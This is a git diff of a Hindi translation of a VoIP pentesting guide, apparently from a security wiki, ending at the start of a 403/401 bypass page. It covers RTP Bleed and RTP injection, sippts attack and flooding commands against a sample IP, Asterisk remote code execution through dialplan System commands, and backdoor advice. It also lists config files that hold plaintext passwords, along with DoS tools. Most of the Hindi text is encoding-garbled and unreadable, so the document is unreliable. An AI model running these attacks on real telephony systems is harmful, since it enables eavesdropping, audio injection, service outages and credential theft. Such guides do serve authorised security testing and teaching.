рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +RTP рдкреНрд░реЙрдХреНрд╕реА **RTC рд╕рд┐рд╕реНрдЯрдо** рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА **NAT рд╕реАрдорд╛рдУрдВ** рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, RTP рд╕реНрдЯреНрд░реАрдо рдХреЛ рджреЛ рдпрд╛ рдЕрдзрд┐рдХ рдкрдХреНрд╖реЛрдВ рдХреЗ рдмреАрдЪ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдХреЗред рдЬрдм NAT рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ RTP рдкреНрд░реЙрдХреНрд╕реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдХреНрд╕рд░ рд╕рд┐рдЧреНрдирд▓рд┐рдВрдЧ (рдЬреИрд╕реЗ SIP) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд RTP IP рдФрд░ рдкреЛрд░реНрдЯ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдЗрд╕рд▓рд┐рдП, рдХрдИ RTP рдкреНрд░реЙрдХреНрд╕рд┐рдпреЛрдВ рдиреЗ рдПрдХ рддрдВрддреНрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдРрд╕рд╛ **IP рдФрд░ рдкреЛрд░реНрдЯ рдЯреБрдкрд▓реЗрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реАрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдпрд╣ рдЕрдХреНрд╕рд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдХреЗ рдФрд░ рдХрд┐рд╕реА рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд IP рдФрд░ рдкреЛрд░реНрдЯ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рддрдВрддреНрд░ рдХреЛ "рд╕реАрдЦрдиреЗ рдХрд╛ рдореЛрдб" рдХрд╣рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **рдпрд╣ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**ред рдЗрд╕рд▓рд┐рдП **рд╣рдорд▓рд╛рд╡рд░** **RTP рдЯреНрд░реИрдлрд╝рд┐рдХ RTP рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЙрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХрд┐рдП рдЧрдП RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдЪрд▓ рд░рд╣реЗ RTP рд╕реНрдЯреНрд░реАрдо рдХреЗ рдХреЙрд▓рд░ рдпрд╛ рдХрд▓реА рдХреЗ рд▓рд┐рдП рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рдо рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ RTP Bleed рдХрд╣рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ RTP рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреНрд░реАрдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред RTP рдкреНрд░реЙрдХреНрд╕рд┐рдпреЛрдВ рдФрд░ RTP рд╕реНрдЯреИрдХреНрд╕ рдХрд╛ рдПрдХ рдФрд░ рджрд┐рд▓рдЪрд╕реНрдк рд╡реНрдпрд╡рд╣рд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдХрднреА-рдХрднреА, **рднрд▓реЗ рд╣реА RTP Bleed рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рди рд╣реЛрдВ**, рд╡реЗ **рдХрд┐рд╕реА рднреА рд╕реНрд░реЛрдд рд╕реЗ RTP рдкреИрдХреЗрдЯ рд╕реНрд╡реАрдХрд╛рд░, рдЕрдЧреНрд░реЗрд╖рд┐рдд рдФрд░/рдпрд╛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░реЗрдВрдЧреЗ**ред рдЗрд╕рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ RTP рдкреИрдХреЗрдЯ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрдиреНрд╣реЗрдВ рд╡реИрдз рдореАрдбрд┐рдпрд╛ рдХреЗ рдмрдЬрд╛рдп рдЕрдкрдирд╛ рдореАрдбрд┐рдпрд╛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ RTP рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╣рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдореМрдЬреВрджрд╛ RTP рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдЕрд╡реИрдз RTP рдкреИрдХреЗрдЯреЛрдВ рдХреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ RTP рдкреНрд░реЙрдХреНрд╕рд┐рдпреЛрдВ рдФрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рджреЛрдиреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИред @@ -532,69 +531,69 @@ Asterisk рдФрд░ FreePBX рдиреЗ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд░реВрдк рд╕реЗ **`NAT= ```bash sippts rtpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed RTP Bleed рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИ RTCP рд╕реНрдЯреНрд░реАрдо рднреЗрдЬрдХрд░ред +- **`SIPPTS rtcpbleed`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed RTP Bleed рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддрд╛ рд╣реИ RTCP рд╕реНрдЯреНрд░реАрдо рднреЗрдЬрдХрд░ред ```bash sippts rtcpbleed -i 10.10.0.10 ``` -- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood RTP Bleed рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рддреЗ рд╣реБрдП RTP рд╕реНрдЯреНрд░реАрдо рднреЗрдЬрддрд╛ рд╣реИред +- **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood RTP рдмреНрд▓реАрдб рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд╢реЛрд╖рдг RTP рд╕реНрдЯреНрд░реАрдо рднреЗрдЬрдХрд░ рдХрд░рддрд╛ рд╣реИред ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` -- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject RTP Bleed рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рддреЗ рд╣реБрдП рдПрдХ рдСрдбрд┐рдпреЛ рдлрд╝рд╛рдЗрд▓ (WAV рдкреНрд░рд╛рд░реВрдк) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИред +- **`SIPPTS rtpbleedinject`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject RTP Bleed рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рддрд╛ рд╣реИ, рдПрдХ рдСрдбрд┐рдпреЛ рдлрд╝рд╛рдЗрд▓ (WAV рдкреНрд░рд╛рд░реВрдк) рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗред ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE -Asterisk рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ **extension рдирд┐рдпрдо рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдордЬреЛрд░ рд╡реЗрдм рдкреНрд░рдмрдВрдзрдХ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рдХреЗ), **`System`** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред +Asterisk рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рддрд░рд╣ **extension рдирд┐рдпрдо рдЬреЛрдбрд╝рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдХрдордЬреЛрд░ рд╡реЗрдм рдкреНрд░рдмрдВрдзрдХ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд░рдХреЗ), рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк **`System`** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. > [!WARNING] -> If the server is **рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА **рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗ рд░рд╣рд╛ рд╣реИ** in the **`System`** command (like in Elastix), check if the web server allows to **рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдирд╛** (like in Elastix or trixbox), and use it to **рдПрдХ рдмреИрдХрдбреЛрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдПрдВ** and then use **`System`** to **execute** that **script**. +> If the server is **рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ **`System`** рдХрдорд╛рдВрдб рдореЗрдВ **рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗ рд░рд╣рд╛ рд╣реИ** (рдЬреИрд╕реЗ Elastix рдореЗрдВ), рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╡реЗрдм рд╕рд░реНрд╡рд░ **рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреИрд╕реЗ Elastix рдпрд╛ trixbox рдореЗрдВ), рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдПрдХ рдмреИрдХрдбреЛрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ рдФрд░ рдлрд┐рд░ **`System`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреЛ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗрдВред -#### Interesting local files and permissions +#### рджрд┐рд▓рдЪрд╕реНрдк рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ -- **`sip.conf`** -> Contains the password of SIP users. -- If the **Asterisk server is running as root**, you could compromise root -- **mysql root user** might **рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рд╣реЛ**. -- this could be used to create a new mysql user as backdoor +- **`sip.conf`** -> SIP рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реИред +- рдпрджрд┐ **Asterisk рд╕рд░реНрд╡рд░ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ**, рддреЛ рдЖрдк рд░реВрдЯ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **mysql рд░реВрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ **рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛**ред +- рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдирдП mysql рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреИрдХрдбреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - **`FreePBX`** -- **`amportal.conf`** -> Contains the password of the web panel administrator (FreePBX) -- **`FreePBX.conf`** -> Constains the password of the user FreePBXuser used to access the database -- this could be used to create a new mysql user as backdoor +- **`amportal.conf`** -> рд╡реЗрдм рдкреИрдирд▓ рдкреНрд░рд╢рд╛рд╕рдХ (FreePBX) рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реИред +- **`FreePBX.conf`** -> рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ FreePBXuser рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рд╢рд╛рдорд┐рд▓ рд╣реИред +- рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдирдП mysql рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреИрдХрдбреЛрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - **`Elastix`** -- **`Elastix.conf`** -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass -- **рдХрдИ рдлрд╝реЛрд▓реНрдбрд░** compromised asterisk user рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЖрдПрдВрдЧреЗ (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed. +- **`Elastix.conf`** -> рдХрдИ рдкрд╛рд╕рд╡рд░реНрдб рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреИрд╕реЗ mysql рд░реВрдЯ рдкрд╛рд╕, IMAPd рдкрд╛рд╕, рд╡реЗрдм рдкреНрд░рд╢рд╛рд╕рдХ рдкрд╛рд╕ред +- **рдХрдИ рдлрд╝реЛрд▓реНрдбрд░** рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЧрдП asterisk рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдЖрдПрдВрдЧреЗ (рдпрджрд┐ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ)ред рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд┐рдЫрд▓реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рд╕рд╛рде рд╣реА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╡рд╣ Asterisk рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдкрд░ рдЕрдиреНрдп рдмреИрдХрдбреЛрд░ рдмрд╛рдЗрдирд░реА рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИред -### RTP Injection +### RTP рдЗрдВрдЬреЗрдХреНрд╢рди -It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`). +рдпрд╣ **`.wav`** рдХреЛ рдмрд╛рддрдЪреАрдд рдореЗрдВ рдбрд╛рд▓рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) рдФрд░ **`rtpmixsound`** (`sudo apt install rtpmixsound`)ред -Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**). +рдпрд╛ рдЖрдк [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП (**`rtpscan.pl`**), рдмрд╛рддрдЪреАрдд рдореЗрдВ рдПрдХ `.wav` рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП (**`rtpsend.pl`**) рдФрд░ рдмрд╛рддрдЪреАрдд рдореЗрдВ **рд╢реЛрд░ рдбрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП (**`rtpflood.pl`**)ред ### DoS -There are several ways to try to achieve DoS in VoIP servers. +VoIP рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ DoS рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВред -- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood sends unlimited messages to the target. +- **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood рд▓рдХреНрд╖реНрдп рдкрд░ рдЕрдирдВрдд рд╕рдВрджреЗрд╢ рднреЗрдЬрддрд╛ рд╣реИред - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping makes a SIP ping to see the server response time. +- **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIP ping рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕рдордп рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред - `sippts ping -i 10.10.0.10` -- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk -- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP. -- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first). -- [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also. -- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks. -- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). +- [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ DoS IAX рдкреНрд░реЛрдЯреЛрдХреЙрд▓ред +- [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP рдкрд░ SIP/SDP INVITE рд╕рдВрджреЗрд╢ рдмрд╛рдврд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдХрд░рдгред +- [**rtpflood**](https://www.kali.org/tools/rtpflood/): рдХрдИ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрдорд┐рдд RTP рдкреИрдХреЗрдЯ рднреЗрдЬреЗрдВред RTP рдкреЛрд░реНрдЯ рдЬрд╛рдирдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдкрд╣рд▓реЗ рд╕реНрдирд┐рдлрд╝ рдХрд░реЗрдВ)ред +- [**SIPp**](https://github.com/SIPp/sipp): SIP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдФрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ DoS рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP рд╕реНрд╡рд┐рд╕ рдЖрд░реНрдореА рдЪрд╛рдХреВред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ SIP рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper)уАВ -### OS Vulnerabilities +### OS рдХрдордЬреЛрд░рд┐рдпрд╛рдБ -The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **рдлрд┐рд░ рд╕реЗ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд░реЗрдВ** and **vulnerabilities** are going to be discovered with time. +Asterisk рдЬреИрд╕реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдПрдХ **OS рд╡рд┐рддрд░рдг** рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдирд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдЬреИрд╕реЗ: **FreePBX, Elastix, Trixbox**... рдЗрдирдХрд╛ рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдПрдХ рдмрд╛рд░ рдЬрдм рдпрд╣ рдХрд╛рдо рдХрд░рдиреЗ рд▓рдЧрддрд╛ рд╣реИ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рдкреНрд░рд╢рд╛рд╕рдХ рд╢рд╛рдпрдж **рдЗрдиреНрд╣реЗрдВ рдлрд┐рд░ рд╕реЗ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд░реЗрдВ** рдФрд░ **рдХрдордЬреЛрд░рд┐рдпрд╛рдБ** рд╕рдордп рдХреЗ рд╕рд╛рде рдЦреЛрдЬреА рдЬрд╛рдПрдБрдЧреАред -## References +## рд╕рдВрджрд░реНрдн - [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) - [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index e56c7803a..7f6ea36c4 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,14 +6,14 @@ рдлрд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП **рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдУрдВ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ, рд╢рд╛рдпрдж рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рджреА рдЬрд╛ рд╕рдХрддреА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **HEAD** рдХреЗ рд▓рд┐рдП **200 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛** рдХреЗ рд╕рд╛рде `Content-Length: 55` рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ **HEAD рдХреНрд░рд┐рдпрд╛ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреА рд╣реИ**ред 